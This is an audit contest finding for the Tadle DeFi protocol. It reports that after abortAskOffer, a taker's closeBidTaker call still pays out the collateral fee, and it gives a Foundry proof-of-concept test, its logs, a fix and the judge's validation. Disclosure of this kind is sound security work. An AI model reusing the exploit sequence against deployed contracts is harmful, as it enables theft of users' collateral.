Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

abortAskOffer does not settle the trades properly deeming closeBidTaker dangerous as consequent calls may result in stealing collateral fee

stanchev

Summary

After maker aborts an offer with abortAskOffer there should be no need for settlement as he gets his collateral refunded back and all other offers invalidated. That is not the case whenever a taker calls closeBidTaker because he gets back the collateral fee even though the money should be settled.

Vulnerability Details

Here is a coded POC of the problem:

function test_abortAskOffer_closeBidTaker_exploit() public {
vm.startPrank(user);
preMarktes.createOffer(CreateOfferParams(marketPlace, address(mockUSDCToken), 1000, 0.01 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Protected));
​
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, 600);
vm.stopPrank();
​
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.stopPrank();
​
vm.startPrank(user1);
address stockAddr1 = GenerateAddress.generateStockAddress(1);
deliveryPlace.closeBidTaker(stockAddr1);
​
uint256 userMakerRefund = tokenManager.userTokenBalanceMap(address(user), address(mockUSDCToken), TokenBalanceType.MakerRefund);
console.log("The balance of maker in makerRefund is:", userMakerRefund);
​
uint256 user1RemainingCash = tokenManager.userTokenBalanceMap(address(user1), address(mockUSDCToken), TokenBalanceType.RemainingCash);
console.log("The balance of user 1 in RemainingCash:", user1RemainingCash);
vm.stopPrank();
}

Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] test_abortAskOffer_closeBidTaker_exploit() (gas: 1020631)
Logs:
The balance of maker in makerRefund is: 6000000000000000
The balance of user 1 in RemainingCash: 7200000000000000

As we can see the fee is assigned to the user.

Impact

High

Tools Used

Manual review

Recommendations

Add a check in closeBidTaker if offer is aborted.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-closeBidTaker-lack-check-abort-status-drain

Valid high, for unsettled ask offers by the original maker, the initial remaining maker collateral is already refunded as seen [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L624-L629)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!